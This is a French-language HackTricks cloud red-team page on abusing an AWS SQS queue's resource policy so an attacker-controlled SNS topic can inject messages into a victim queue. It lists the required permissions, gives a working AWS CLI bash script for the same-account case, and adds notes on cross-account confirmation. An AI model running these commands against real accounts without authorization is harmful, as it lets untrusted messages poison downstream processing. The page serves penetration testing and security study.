AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Description

Abuser de la resource policy d'une file SQS pour permettre à un topic SNS contrôlé par un attaquant de publier des messages dans une file SQS victime. Dans le même compte, une subscription SQS à un topic SNS est auto-confirmée ; en cross-account, il faut lire le token SubscriptionConfirmation depuis la file et appeler ConfirmSubscription. Cela permet d'injecter des messages non fiables que les consommateurs en aval pourraient implicitement considérer comme de confiance.

Requirements

  • Capacité à modifier la politique de ressource de la file SQS cible : sqs:SetQueueAttributes sur la file victime.
  • Capacité à créer/publier sur un topic SNS contrôlé par l'attaquant : sns:CreateTopic, sns:Publish, et sns:Subscribe sur le compte/topic de l'attaquant.
  • Cross-account seulement : sqs:ReceiveMessage temporaire sur la file victime pour lire le token de confirmation et appeler sns:ConfirmSubscription.

Same-account exploitation

bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

Notes inter-comptes

  • La policy de la queue ci-dessus doit autoriser le TOPIC_ARN étranger (compte attaquant).
  • Les abonnements ne se confirment pas automatiquement. Accordez-vous temporairement sqs:ReceiveMessage sur la queue victime pour lire le message SubscriptionConfirmation puis appelez sns confirm-subscription avec son Token.

Impact

Impact potentiel: Injection continue de messages non sollicités dans une file d'attente SQS de confiance via SNS, pouvant déclencher des traitements inattendus, la pollution de données ou l'abus de flux de travail.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks